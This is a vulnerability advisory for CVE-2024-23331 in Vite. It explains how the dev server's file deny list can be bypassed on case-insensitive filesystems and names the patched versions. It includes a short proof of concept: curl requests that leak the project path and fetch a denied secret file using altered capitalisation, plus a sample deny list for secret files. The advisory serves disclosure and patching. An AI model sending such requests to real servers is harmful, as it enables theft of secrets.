CVE-2024-23331 – vite

Package

Manager: npm
Name: vite
Vulnerable Version: >=2.7.0 <2.9.17 || >=3.0.0 <3.2.8 || >=4.0.0 <4.5.2 || >=5.0.0 <5.0.12

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

EPSS: 0.00366 pctl0.57843

Details

Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem ### Summary [Vite dev server option](https://vitejs.dev/config/server-options.html#server-fs-deny) `server.fs.deny` can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows. This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems. ### Patches Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17 ### Details Since `picomatch` defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible. See `picomatch` usage, where `nocase` is defaulted to `false`: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632 By requesting raw filesystem paths using augmented casing, the matcher derived from `config.server.fs.deny` fails to block access to sensitive files. ### PoC **Setup** 1. Created vanilla Vite project using `npm create vite@latest` on a Standard Azure hosted Windows 10 instance. - `npm run dev -- --host 0.0.0.0` - Publicly accessible for the time being here: http://20.12.242.81:5173/ 2. Created dummy secret files, e.g. `custom.secret` and `production.pem` 3. Populated `vite.config.js` with ```javascript export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } } ``` **Reproduction** 1. `curl -s http://20.12.242.81:5173/@fs//` - Descriptive error page reveals absolute filesystem path to project root 2. `curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js` - Discoverable configuration file reveals locations of secrets 3. `curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT` - Secrets are directly accessible using case-augmented version of filename **Proof**  ### Impact **Who** - Users with exposed dev servers on environments with case-insensitive filesystems **What** - Files protected by `server.fs.deny` are both discoverable, and accessible

Metadata

Created: 2024-01-19T21:58:47Z
Modified: 2024-01-19T21:58:47Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/01/GHSA-c24v-8rfc-w8vw/GHSA-c24v-8rfc-w8vw.json
CWE IDs: ["CWE-178", "CWE-200", "CWE-284"]
Alternative ID: GHSA-c24v-8rfc-w8vw
Finding: F308
Auto approve: 1